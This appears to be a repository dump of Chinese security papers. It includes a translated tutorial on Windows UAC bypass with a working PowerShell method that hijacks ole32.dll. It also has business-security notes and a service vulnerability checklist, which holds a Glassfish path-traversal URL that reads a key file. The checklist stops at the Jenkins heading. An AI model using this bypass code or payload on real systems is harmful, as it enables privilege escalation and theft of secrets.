├── PHP Code Injection Analysis.pdf ├── README.md ├── SQLmap使用手册.pdf ├── UAC攻击剖析.md ├── Webmail-Hacking.pdf ├── burpsuite_pro_v1.7.12.7z ├── burp插件分享：图形化版的重算sign和参数加解密插件.pdf ├── hunter.exe ├── linux cheat sheet.pdf ├── shodan.pdf ├── 业务安全冷知识.md ├── 企业常见服务漏洞检测&修复整理.md ├── 学霸君安全建设之路atiger77.pdf ├── 常见Web源码泄露总结.md ├── 攻击javascript引擎.pdf └── 攻击大数据应用：ZooKeeper.md /PHP Code Injection Analysis.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PolarisLab/SecPaper/b74ad3d116e23ab49365b5e084ee815372024c86/PHP Code Injection Analysis.pdf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SecPaper 2 | SecPaper For www.polaris-lab.com 3 | -------------------------------------------------------------------------------- /SQLmap使用手册.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PolarisLab/SecPaper/b74ad3d116e23ab49365b5e084ee815372024c86/SQLmap使用手册.pdf -------------------------------------------------------------------------------- /UAC攻击剖析.md: -------------------------------------------------------------------------------- 1 | # UAC攻击剖析 2 | 3 | 原文：[fuzzysecurity](http://www.fuzzysecurity.com/tutorials/27.html) 4 | 5 | 译者：[PolarisLab](http://www.polaris-lab.com) 6 | 7 | ## 0x00 前言 ## 8 | 9 | 在这篇文章中，我们将讨论**UAC（用户帐户控制）**绕过攻击中涉及到的基本原则。**UAC(User Account Control，用户帐户控制)**是微软为提高系统安全而在Windows Vista中引入的新技术，它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前，提供权限或管理员‌密码。 10 | 11 | **UAC**在Windows Vista中被引入，使管理员用户能够使用标准用户权限而不是管理权限来对计算机进行操作。默认情况下，Windows上的初始用户帐户是管理员组的一部分，这只是一个简单的要求。正是因为这样，回到之前(Vista时代之前)，开发人员倾向于用户具有本地管理员权限，在开发他们的应用程序时需要提升权限。对此，官方的说法是**UAC**的引入是作为遏制这种行为并提供向后兼容性的方法。 12 | 13 | 尽管如此，**UAC**的直接好处是保护或提醒管理员用户免受软件组件执行的恶意提权行为。我认为UAC实际上是一个非常熟练的安全机制(如果我们忘记普遍存在的dll侧面加载问题)，任谁想争辩说，这只需要看看一些先进的恶意软件工具包或者如**Metasploit/Cobalt Strike**等开源框架，其中包括了绕过UAC的机制。此外，我们不要忘记微软已经修补了一大堆绕过漏洞，例如使用WUSA提取CAB文件到一个特定的路径。无法实现可信的侧面加载修复，如果实现了将会大大提高终端用户的安全。 14 | 15 | 无论如何，**UAC**总是引发激烈的辩论，所以我不会再谈论这个问题。让我们挖掘一下这个“兼容性”功能的漏洞 16 | 17 | ## 0x01 资源 ## 18 | 19 | - [Bypass-UAC (@FuzzySec)](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC) 20 | - [UACME (@hFireF0X)](https://github.com/hfiref0x/UACME) 21 | - [Bypassing Windows User Account Control (UAC) and ways of mitigation (@ParvezGHH)](https://www.greyhathacker.net/?p=796) 22 | - [Fileless”UAC Bypass Using eventvwr.exe and Registry Hijacking (@enigma0x3)](https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/) 23 | - [Bypassing UAC on Windows 10 using Disk Cleanup (@enigma0x3)](https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/) 24 | - [Bypassing User Account Control (UAC) using TpmInit (@Cneelis)](http://uacmeltdown.blogspot.be/2016/08/bypassing-user-account-control-uac.html) 25 | - [Inside Windows 7 User Account Control (Microsoft Technet)](https://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx) 26 | - [Inside Windows Vista User Account Control (Microsoft Technet)](https://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx) 27 | - [User Account Control (MSDN)](https://blogs.msdn.microsoft.com/e7/2008/10/08/user-account-control/) 28 | 29 | ## 0x02 自动提升 ## 30 | 31 | 这里要理解的主要事情是，当进程正常启动而不是提升特权时，管理用户创建的进程令牌被剥夺了某些特权（例如：作为管理员运行..）。我们可以通过使用**Get-TokenPrivs**或**Sysinternals**过程资源管理器转储令牌权限来轻松地验证这一点。下面的屏幕截图显示了“cmd.exe”的两个实例，一个正常启动，一个作为管理员启动。 32 | 33 | ![](http://www.fuzzysecurity.com/tutorials/images/UAC_1.png) 34 | 35 | 从本质上说是属于管理员组的用户以与其他用户相同的权限管理其计算机。那么，高权限用户和低权限用户之间有什么区别？提权的操作仍然需要更改这个令牌，取决于**UAC**的设置，可以通知用户/要求密码。 36 | 37 | 但至关重要的是，在两个**UAC**设置之间，其中之一是默认值，如果用户属于管理员组，Windows程序将自动升级。这些二进制文件可以通过转储其清单来标识，如下所示。 38 | 39 | ![](http://www.fuzzysecurity.com/tutorials/images/UAC_2.png) 40 | 41 | 找到这些二进制文件的一个简单方法是递归转储字符串并搜索“**autoElevate> true**”。这里的逻辑是这些二进制文件是由微软签署的，考虑到他们的出处，并且用户是管理员，没有必要提示这个行为（换句话说，它是一个可用性功能）。 42 | 43 | 这似乎是合理的，直到你打开[进程监视器](https://technet.microsoft.com/en-us/sysinternals/processmonitor.aspx)并找二进制文件成功地加载他们需要的资源（不仅是dll，还有注册表项）。不幸的是，这为恶意用户提供了充足的劫持机会。 44 | 45 | 下面的例子显示了一个众所周知的情况，其中**MMC**用于提升**RSOP**，**RSOP**反过来试图高完整性的加载“**wbemcomn.dll**”（ =同样的Administrator）。 46 | 47 | ![](http://www.fuzzysecurity.com/tutorials/images/UAC_3.png) 48 | 49 | 可笑的是，看着过滤的输出，在这里至少有三个其他的UAC 0days（..sign）。如果有人想给[Bypass-UAC](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC)提交pull，请自己敲出来！ 50 | 51 | ## 0x03 提权文件操作 ## 52 | 53 | 你可能会想“这些dll都在一个安全的目录”！像我们上面讨论的二进制文件，也有自动提升COM对象。这些COM对象之一对我们特别有用，[IFileOperation](https://msdn.microsoft.com/en-us/library/windows/desktop/bb775771(v=vs.85).aspx)这个COM对象包含许多有用的方法，如文件系统对象（文件和文件夹）的复制/移动/重命名/删除。 54 | 55 | 传统上，攻击者编写的dll会实例化IFileOperation COM对象，并会执行将攻击者文件移动到受保护目录的方法（如上面例子的`C:\Windows\System32\wbem\wbemcomn.dll`）。获得COM对象自动将DLL注入到一个运行在一个可信目录的媒体完整性过程，通常是“explorer.exe”（ `-> fdwReason == DLL_PROCESS_ATTACH`）。示例dll源码 56 | 57 | 然而，事实证明有一种更灵活的方式来保持IFileOperation方法，将DLL注入到任何地方而不会触发警报。COM对象依赖进程状态API（[PSAPI](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684884(v=vs.85).aspx)）来标识它们正在运行的进程。有趣的是，PSAPI解析进程PEB以获取此信息，但攻击者可以获取其自己进程的句柄并覆盖PEB以唬弄PSAPI，作为结果任何一个COM对象都可从伪造的PID实例化。 58 | 59 | 我写了一个PowerShell POC（[Masquerade-PEB](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Masquerade-PEB.ps1)）来说明这一点。在下面的示例中，PowerShell被伪装为explorer，Sysinternals进程资源管理器显然也被欺骗了。 60 | 61 | ![](http://www.fuzzysecurity.com/tutorials/images/UAC_4.png) 62 | 63 | ## 0x04 案例研究：winsxs，UAC 0day ## 64 | 65 | 在下面的案例研究中，我们将看看Windows（**WinSxS**）dll加载问题。WinSxS在Windows ME中引入作为所谓的“dll hell”问题的解决方案。基本上它类似于全局程序集缓存，当一个二进制需要访问一个特定的库，它可以参考它清单中的库的版本，操作系统将继续从WinSxS文件夹(`C:\Windows\WinSxS`)加载相关的DLL。 66 | 67 | 对于我们的案例研究，我们将看看自动升级的Microsoft远程协助二进制文件（`C：\Windows\ System32\msra.exe`）。下面我们可以看到二进制文件的内容。 68 | 69 | ![](http://www.fuzzysecurity.com/tutorials/images/UAC_5.png) 70 | 71 | 注意依赖部分，**mrsa**需要一些 “`Microsoft.Windows.Common-Controls`” 版本的库。让我们看看执行**msra**时进程监视器中会发生什么。 72 | 73 | ![](http://www.fuzzysecurity.com/tutorials/images/UAC_6.png) 74 | 75 | **msra**寻找一个名为“`msra.exe.Local`”的目录，当它找不到该文件夹时它会访问“`C：\Windows\WinSxS`”，并加载它清单中指定的库。开发人员进行调试时可以合法使用dotlocal文件夹。你可以猜测当我们创建以下目录结构时会发生什么。 76 | 77 | # We can do this using elevated IFileOperation COM object methods 78 | 79 | C:\Windows\System32\ 80 | |__> msra.exe.Local 81 | |___> x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.494_none_ea85e725b9ba5a4b 82 | 83 | ![](http://www.fuzzysecurity.com/tutorials/images/UAC_7.png) 84 | 85 | 如此多的* facepalm *，在这一点上我们需要做的是使用**IFileOperation COM**对象创建有payload DLL的文件夹并在命令行中执行MSRA，以此来绕过UAC。这有点过分简单，因为有效载荷dll可能会转发一些dll出口，但你得有想法。 86 | 87 | 选择**WinSxS**作为案例研究的原因是，当你开始看自动提升二进制文件时，你会逐字地看到这个问题。推荐阅读[KernelMode](http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3643&start=110)线程。 88 | 89 | ## 0x05 案例研究：通过.NET劫持Ole32.dll=> Bypass-UAC ## 90 | 91 | 因为这种类型UAC绕过的有很多活动部件（使用提升的COM），我创建了一个PowerShell框架来处理所有的累活。[Bypass-UAC](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC)有几个不同的组件：（1）Masquerade-PEB负责处理进程欺骗，(2) Invoke-IFileOperation暴露IFileOperation COM对象方法到PowerShell，（3）Emit-Yamabiko将payload dll存到磁盘。 92 | 93 | 在过去的案例研究，我找了一个相对简单的UAC “0day”，我想找到一个不需要我更新Yamabiko的东西，这将工作在x32 / x64 Win7-Win10上。最后，我解决了.NET框架滥用负载的行为。有很多的方法来触发错误的加载行为，但是我们将使用MMC绕过UAC（* .msc）。 94 | 95 | ### Profiling MMC: ### 96 | 97 | 让我们看看在启动“mmc gpedit.msc”时过程监视器中发生了什么（过滤：命令行有“mmc”，名称未找到，路径有“dll”）。下面的截图分别显示了Win 7和Win 10的结果。 98 | 99 | #### Win7 #### 100 | 101 | ![](http://www.fuzzysecurity.com/tutorials/images/UAC_8.png) 102 | 103 | #### Win10 #### 104 | 105 | ![](http://www.fuzzysecurity.com/tutorials/images/UAC_9.png) 106 | 107 | 两个操作系统版本有一些可怕的条目！然而，忽略**oddballs**和那些不重叠的条目，我们留下“**MFC42LOC.DLL**”和“**ole32.dll**”。**MFC42LOC**需要一些进一步的研究，我已经看过它几次，但似乎没有发挥好。另一方面，**Ole32**被证明是一个合适的选择。 108 | 109 | ### Hijacking Ole32: ### 110 | 111 | 我们需要解决的一个问题是，DLL显然是从一个不同的目录加载，一个简短的调查显示它默认的.NET版本文件夹查找**ole32**。我们可以使用以下**PowerShell**命令获取该版本。 112 | 113 | # Win 7 114 | PS C:\> [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion 115 | v2.0.50727 116 | 117 | # Win 10 118 | PS C:\> [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion 119 | v4.0.30319 120 | 121 | 另一个不明显的问题是，在Bypass-UAC中的[Yamabiko代理dll](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Bypass-UAC/Yamabiko/Yamabiko/dllmain.c)打开PowerShell，PowerShell本身会引发这个错误加载bug从而导致无限shell弹出…，为了避免这种行为，我们必须检测我们的payload dll被加载并删除它，所以它只执行一次！ 122 | 123 | ### Bypass-UAC实现： ### 124 | 125 | 添加方法绕过UAC是很容易的，如果你想了解更多，请查看在[GitHub](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC)上的项目！为了让我们的bypass更加便利，我添加了以下方法，如果有任何问题，请随时留言！ 126 | 127 | 'UacMethodNetOle32' 128 | { 129 | # Hybrid MMC method: mmc some.msc -> Microsoft.NET\Framework[64]\..\ole32.dll 130 | # Works on x64/x32 Win7-Win10 (unpatched) 131 | if ($OSMajorMinor -lt 6.1) { 132 | echo "[!] Your OS does not support this method!`n" 133 | Return 134 | } 135 | 136 | # Impersonate explorer.exe 137 | echo "`n[!] Impersonating explorer.exe!" 138 | Masquerade-PEB -BinPath "C:\Windows\explorer.exe" 139 | 140 | if ($DllPath) { 141 | echo "[>] Using custom proxy dll.." 142 | echo "[+] Dll path: $DllPath" 143 | } else { 144 | # Write Yamabiko.dll to disk 145 | echo "[>] Dropping proxy dll.." 146 | Emit-Yamabiko 147 | } 148 | 149 | # Get default .NET version 150 | [String]$Net_Version = [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion 151 | 152 | # Get count of PowerShell processes 153 | $PS_InitCount = @(Get-Process -Name powershell).Count 154 | 155 | # Expose IFileOperation COM object 156 | Invoke-IFileOperation 157 | 158 | # Exploit logic 159 | echo "[>] Performing elevated IFileOperation::MoveItem operation.." 160 | # x32/x64 .NET folder 161 | if ($x64) { 162 | $IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\'), "ole32.dll") 163 | } else { 164 | $IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\'), "ole32.dll") 165 | } 166 | $IFileOperation.PerformOperations() 167 | 168 | echo "`n[?] Executing mmc.." 169 | IEX $($env:SystemRoot + '\System32\mmc.exe gpedit.msc') 170 | 171 | # Move Yamabiko back to %tmp% after it loads to avoid infinite shells! 172 | while ($true) { 173 | $PS_Count = @(Get-Process -Name powershell).Count 174 | if ($PS_Count -gt $PS_InitCount) { 175 | try { 176 | # x32/x64 .NET foler 177 | if ($x64) { 178 | $IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll') 179 | } else { 180 | $IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll') 181 | } 182 | $IFileOperation.PerformOperations() 183 | break 184 | } catch { 185 | # Sometimes IFileOperation throws an exception 186 | # when executed twice in a row, just rerun.. 187 | } 188 | } 189 | } 190 | 191 | # Clean-up 192 | echo "[!] UAC artifact: $($env:Temp + '\ole32.dll')`n" 193 | } 194 | 195 | 案例结束，下面的屏幕截图演示了在Windows 8（x64）和Windows 10（x32）上的绕过。 196 | 197 | ### Win8 x64 ### 198 | 199 | ![](http://www.fuzzysecurity.com/tutorials/images/UAC_10.png) 200 | 201 | ### Win10 x32 ### 202 | 203 | ![](http://www.fuzzysecurity.com/tutorials/images/UAC_11.png) 204 | 205 | 从另一方面来说，这是一个相当不错的持久化机制。删除ole32在.NET框架文件夹中封装的DLL，计划使用.NET在启动/空闲时运行任何事情。 206 | 207 | ## 0x06 总结 ## 208 | 209 | 如果你做到这一步，我想你就能明白为什么微软不承认UAC绕过。老实说我认为，让UAC步入正轨的最好的方法是积极的补丁机制。 210 | -------------------------------------------------------------------------------- /Webmail-Hacking.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PolarisLab/SecPaper/b74ad3d116e23ab49365b5e084ee815372024c86/Webmail-Hacking.pdf -------------------------------------------------------------------------------- /burpsuite_pro_v1.7.12.7z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PolarisLab/SecPaper/b74ad3d116e23ab49365b5e084ee815372024c86/burpsuite_pro_v1.7.12.7z -------------------------------------------------------------------------------- /burp插件分享：图形化版的重算sign和参数加解密插件.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PolarisLab/SecPaper/b74ad3d116e23ab49365b5e084ee815372024c86/burp插件分享：图形化版的重算sign和参数加解密插件.pdf -------------------------------------------------------------------------------- /hunter.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PolarisLab/SecPaper/b74ad3d116e23ab49365b5e084ee815372024c86/hunter.exe -------------------------------------------------------------------------------- /linux cheat sheet.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PolarisLab/SecPaper/b74ad3d116e23ab49365b5e084ee815372024c86/linux cheat sheet.pdf -------------------------------------------------------------------------------- /shodan.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PolarisLab/SecPaper/b74ad3d116e23ab49365b5e084ee815372024c86/shodan.pdf -------------------------------------------------------------------------------- /业务安全冷知识.md: -------------------------------------------------------------------------------- 1 | ##业务安全冷知识 2 | 3 | 年前突然想写一篇简单易读的文章，讲一点可能会被忽略的业务安全问题，这些问题都算不上是漏洞，但可以对公司造成一定的影响，所以我这里称他们为冷知识，当中会涉及一些竞品分析的点，部分内容对中小型互联网企业都通用。有问题可与我联系wechat:atiger77 4 | 5 | [http://www.mottoin.com/95663.html](http://www.mottoin.com/95663.html) 6 | 7 | 序号 8 | 9 | 1. 前端提示内容过多； 10 | 2. 用户ID自增隐患； 11 | 3. 域名到期时间； 12 | 4. 短信接口任意调用； 13 | 5. ... 14 | 15 | 16 | 17 | ####前端提示内容过多 18 | 所谓提示内容过多，一般常见于登录重置密码等页面。以登录页面举例，当输入的用户名和密码不正确时，返回的内容过于详细，常见的有: a.你输入的用户名不存在 b.密码必须大于等于6位 c.你输入的密码不正确 等等内容。 19 | 20 | 排除逻辑漏洞的问题，当前端返回给攻击者越多的信息，对于攻击者而言也缩短了攻击者的成本，还是拿上面的情况来说，第一种，攻击者根据提示可以测试出用户覆盖率，第二种当登录处没有验证码机制的时候，对攻击者字段选择上能节省大量时间。 21 | 22 | 造成原因：开发安全意识薄弱 23 | 24 | 解决方法：去除不需要的回显内容 25 | 26 | 27 | ####用户ID自增隐患 28 | 国内互联网情况就是看到别人的产品不错马上就拿过来抄，除了少数一些以技术为核心驱动的公司，其他的都可以在短期内搞一个看着一样的产品出来，那么这个安全冷知识在竞品分析中可以获取一定成果。 29 | 30 | 当公司业务线多起来后，必然要上用户中心集中管理用户，一般的设计逻辑都是单表存一千万的用户并且UID自增，那么这个风险点也会随之而来。 31 | 32 | 设想一下这个情况，你的公司有一家“孪生兄弟”，你又想知道他们的运营情况，那么可以尝试这样做，今天的8点注册一个号，抓包记录UID，在明天的8点再注册一个号也记录下UID，一直重复在同一时间点注册用户并记录UID,将后一天的UID减去前一天的UID即可得出一天的注册情况，当你产品运营数据被竞品所得到的时候，是不是很可怕呢。 33 | 34 | 造成原因：UID顺序自增，规律性太容易被发现 35 | 36 | 解决方法：混淆UID生成规则 37 | 38 | 39 | ####域名到期时间 40 | 公司域名管理其实是算在运维部下的，为什么这里要说因为一直会看到新闻说某某公司因为域名到期忘记续费，导致域名被抢注的情况。 41 | 42 | 简单一提，需要定期的查看域名到期情况，对快到期的域名做续费处理，对于公司而言，买域名的钱和买白菜一样。所以，在域名快到期的时候尽快解决把。 43 | 44 | 造成原因：到期域名未即时续费 45 | 46 | 解决方法：记录域名到期时间 47 | 48 | ####短信接口任意调用 49 | 这个问题也很普遍，短信接口的应用场景很多，用户注册、忘记密码、重置密码等等。之前也看到新闻说一家创业公司短信接口被恶意调用，无缘无故损失了一大笔钱。 50 | 51 | 往往公司发现这个异常都是通过周的数据统计或者是月的数据统计，那么这个时候已经无法挽回之前的损失了。 52 | 53 | 那么防范的措施也不复杂，增加验证码机制，设置短信发送上限，接口请求参数GET->POST等等。 54 | 55 | 造成原因：没有校验过程 56 | 57 | 解决方法：风控措施 58 | 59 | ####总结 60 | 暂时就想到这么多，以后想到我还要继续添加进去，有问题可以和我联系。 -------------------------------------------------------------------------------- /企业常见服务漏洞检测&修复整理.md: -------------------------------------------------------------------------------- 1 | #企业常见服务漏洞检测&修复整理 2 | 3 | Author: atiger77@Mottoin Team 4 | 5 | 来源：[http://www.mottoin.com/92742.html](http://www.mottoin.com/92742.html) 6 | 7 | ##前言 8 | 12月份要要给公司同学做安全技术分享，有一块是讲常见服务的漏洞，网上的漏洞检测和修复方案写都比较散，在这里一起做一个整合，整理部分常见服务最近的漏洞和使用上的安全隐患方便有需要的朋友查看。如文章有笔误的地方请与我联系WeChat:atiger77 9 | 10 | ##目录 11 | ###1.内核级别漏洞 12 | Dirty COW 13 | ###2.应用程序漏洞 14 | Nginx 15 | Tomcat 16 | Glassfish 17 | Gitlab 18 | Mysql 19 | Struts2 20 | ImageMagick 21 | ... 22 | 23 | ###3.应用安全隐患 24 | SSH 25 | Redis 26 | Jenkins 27 | Zookeeper 28 | Zabbix 29 | Elasticsearch 30 | Docker 31 | ... 32 | 33 | ###4.总结 34 | 35 | 36 | ##漏洞检测&修复方法 37 | ###1.内核级别漏洞 38 | **Dirty COW**脏牛漏洞，Linux 内核内存子系统的 COW 机制在处理内存写入时存在竞争，导致只读内存页可能被篡改。 39 | 40 | 影响范围：Linux kernel >= 2.6.22 41 | 42 | 漏洞影响：低权限用户可以利用该漏洞写入对自身只读的内存页（包括可写文件系统上对该用户只读的文件）并提权至 root 43 | 44 | PoC参考： 45 | 46 | - [https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs](https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs) 47 | 48 | 漏洞详情&修复参考： 49 | 50 | - [http://sanwen8.cn/p/53d08S6.html](http://sanwen8.cn/p/53d08S6.html) 51 | 52 | - [http://www.freebuf.com/vuls/117331.html](http://www.freebuf.com/vuls/117331.html) 53 | 54 | 这个漏洞对于使用linux系统的公司来说是一定要修复的，拿web服务举例，我们使用一个低权限用户开放web服务当web被攻击者挂了shell就可以使用exp直接提权到root用户。目前某些云厂商已经在基础镜像中修复了这个问题但是对于之前已创建的主机需要手动修复，具体修复方案可以参考长亭的文章。 55 | 56 | ###2.应用程序漏洞 57 | 58 | ####Nginx 59 | 60 | Nginx是企业中出现频率最高的服务之一，常用于web或者反代功能。11月15日，国外安全研究员Dawid Golunski公开了一个新的Nginx漏洞（CVE-2016-1247），能够影响基于Debian系列的发行版。 61 | 62 | 影响范围： 63 | 64 | - Debian: Nginx1.6.2-5+deb8u3 65 | 66 | - Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3 67 | 68 | - Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6 69 | 70 | - Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1 71 | 72 | 漏洞详情&修复参考： 73 | 74 | - [https://www.seebug.org/vuldb/ssvid-92538](https://www.seebug.org/vuldb/ssvid-92538) 75 | 76 | 这个漏洞需要获取主机操作权限，攻击者可通过软链接任意文件来替换日志文件，从而实现提权以获取服务器的root权限。对于企业来说如果nginx部署在Ubuntu或者Debian上需要查看发行版本是否存在问题即使打上补丁即可，对于RedHat类的发行版则不需要任何修复。 77 | 78 | ####Tomcat 79 | 80 | Tomcat于10月1日曝出本地提权漏洞CVE-2016-1240。仅需Tomcat用户低权限，攻击者就能利用该漏洞获取到系统的ROOT权限。 81 | 82 | 影响范围： 83 | 84 | - Tomcat 8 <= 8.0.36-2 85 | 86 | - Tomcat 7 <= 7.0.70-2 87 | 88 | - Tomcat 6 <= 6.0.45+dfsg-1~deb8u1 89 | 90 | 受影响的系统包括Debian、Ubuntu，其他使用相应deb包的系统也可能受到影响 91 | 92 | 漏洞详情&修复参考： 93 | 94 | - [http://www.freebuf.com/vuls/115862.html](http://www.freebuf.com/vuls/115862.html) 95 | 96 | CVE-2016-4438这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本：/etc/init.d/tocat* 利用该脚本，可导致攻击者通过低权限的Tomcat用户获得系统root权限。 97 | 98 | 实现这个漏洞必须要重启tomcat服务，作为企业做好服务器登录的权限控制，升级有风险的服务可避免问题。 99 | 100 | 当然在企业中存在不少部署问题而导致了Tomcat存在安全隐患，运维部署完环境后交付给开发同学，如果没有删除Tomcat默认的文件夹就开放到了公网，攻击者可以通过部署WAR包的方式来获取机器权限。 101 | 102 | ####Glassfish 103 | 104 | Glassfish是用于构建 Java EE 5应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。低版本存在任何文件读取漏洞。 105 | 106 | 影响范围：Glassfish4.0至4.1 107 | 108 | 修复参考：升级至4.11或以上版本 109 | 110 | PoC参考： 111 | 112 | http://1.2.3.4:4848/theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile 113 | 114 | 因为公司有用到Glassfish服务，当时在乌云上看到PoC也测试了下4.0的确存在任何文件读取问题，修复方法也是升级到4.11及以上版本。 115 | 116 | ####Gitlab 117 | 118 | Gitlab是一个用于仓库管理系统的开源项目。含义使用Git作为代码管理工具，越来越多的公司从SVN逐步移到Gitlab上来，由于存放着公司代码，数据安全也变得格外重要。 119 | 120 | 影响范围： 121 | 122 | 123 | - 任意文件读取漏洞(CVE-2016-9086): 124 | GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12, and 8.13 125 | 126 | 127 | - 任意用户authentication_token泄露漏洞： 128 | Gitlab CE/EE versions 8.10.3-8.10.5 129 | 130 | 漏洞详情&修复参考： 131 | 132 | - [http://blog.knownsec.com/2016/11/gitlab-file-read-vulnerability-cve-2016-9086-and-access-all-user-authentication-token/](http://blog.knownsec.com/2016/11/gitlab-file-read-vulnerability-cve-2016-9086-and-access-all-user-authentication-token/) 133 | 134 | 互联网上有不少公司的代码仓库公网可直接访问，有些是历史原因有些是没有考虑到安全隐患，对于已经部署在公网的情况，可以让Gitlab强制开启二次认证防止暴力破解这里建议使用Google的身份验证，修改默认访问端口，做好acl只允许指定IP进行访问。 135 | 136 | ####Mysql 137 | 138 | Mysql是常见的关系型数据库之一，翻了下最新的漏洞情况有CVE-2016-6662和一个Mysql代码执行漏洞。由于这两个漏洞实现均需要获取到服务器权限，这里就不展开介绍漏洞有兴趣的可以看下相关文章，主要讲一下Mysql安全加固。 139 | 140 | 漏洞详情&修复参考： 141 | 142 | - [http://bobao.360.cn/learning/detail/3026.html](http://bobao.360.cn/learning/detail/3026.html) 143 | 144 | - [http://bobao.360.cn/learning/detail/3025.html](http://bobao.360.cn/learning/detail/3025.html) 145 | 146 | 在互联网企业中Mysql是很常见的服务，我这边提几点Mysql的安全加固，首先对于某些高级别的后台比如运营，用户等能涉及到用户信息的可以做蜜罐表。在项目申请资源的时候就要做好权限的划分，我们是运维同学保留最高权限，给开发一个只读用户和一个开发权限的用户进行使用，密码一律32位，同时指定机器登录数据库，删除默认数据库和数据库用户。 147 | 148 | 找了一篇还不错的加固文章提供参考： 149 | 150 | - [http://www.it165.net/database/html/201210/3132.html](http://www.it165.net/database/html/201210/3132.html) 151 | 152 | ####Struts2 153 | 154 | Struts2是一个优雅的,可扩展的框架,用于创建企业准备的Java Web应用程序。出现的漏洞也着实的多每爆一个各大漏洞平台上就会被刷屏。 155 | 156 | 157 | 漏洞详情&修复参考： 158 | 159 | - [http://blog.nsfocus.net/apache-struts2-vulnerability-technical-analysis-protection-scheme-s2-033/](http://blog.nsfocus.net/apache-struts2-vulnerability-technical-analysis-protection-scheme-s2-033/) 160 | 161 | - [http://blog.nsfocus.net/apache-struts2-vulnerability-technical-analysis-protection-scheme-s2-037/](http://blog.nsfocus.net/apache-struts2-vulnerability-technical-analysis-protection-scheme-s2-037/) 162 | 163 | 在线检测平台： 164 | 165 | - [http://0day.websaas.com.cn/](http://0day.websaas.com.cn/) 166 | 167 | 记得有一段时间Struts2的漏洞连续被爆出，自动化的工具也越来越多S2-032，S2-033,S2-037,乌云首页上都是Struts2的漏洞，有国企行业的有证券公司的使用者都分分中招，如果有使用的话还是建议升级到最新稳定版。 168 | 169 | ####ImageMagick 170 | 171 | ImageMagick是一个图象处理软件。它可以编辑、显示包括JPEG、TIFF、PNM、PNG、GIF和Photo CD在内的绝大多数当今最流行的图象格式。 172 | 173 | 影响范围： 174 | 175 | - ImageMagick 6.5.7-8 2012-08-17 176 | 177 | - ImageMagick 6.7.7-10 2014-03-06 178 | 179 | - 低版本至6.9.3-9released 2016-04-30 180 | 181 | 漏洞详情&修复参考： 182 | 183 | - [http://www.freebuf.com/vuls/104048.html](http://www.freebuf.com/vuls/104048.html) 184 | 185 | - [http://www.ithome.com/html/it/223125.htm](http://www.ithome.com/html/it/223125.htm) 186 | 187 | 这个漏洞爆出来时也是被刷屏的，各大互联网公司都纷纷中招，利用一张构造的图片使用管道服符让其执行反弹shell拿到服务器权限，产生原因是因为字符过滤不严谨所导致的执行代码.对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。 188 | 189 | ###3.应用安全隐患 190 | ***为了不加长篇幅长度，加固具体步骤可以自行搜索。*** 191 | 192 | **SSH** 193 | 194 | 之前有人做过实验把一台刚初始化好的机器放公网上看多久会遭受到攻击，结果半个小时就有IP开始爆破SSH的密码，网上通过SSH弱密码进服务器的案列也比比皆是。 195 | 196 | 安全隐患： 197 | 198 | 弱密码 199 | 200 | 加固建议： 201 | 202 | 禁止使用密码登录，更改为使用KEY登录 203 | 禁止root用户登录，通过普通权限通过连接后sudo到root用户 204 | 修改默认端口（默认端口为22） 205 | 206 | 207 | **Redis** 208 | 209 | Redis默认是没有密码的，在不需要密码访问的情况下是非常危险的一件事，攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法，可以成功在 Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器。 210 | 211 | 安全隐患： 212 | 213 | 未认证访问 214 | 开放公网访问 215 | 216 | 加固建议： 217 | 218 | 禁止把Redis直接暴露在公网 219 | 添加认证，访问服务必须使用密码 220 | 221 | **Jenkins** 222 | 223 | 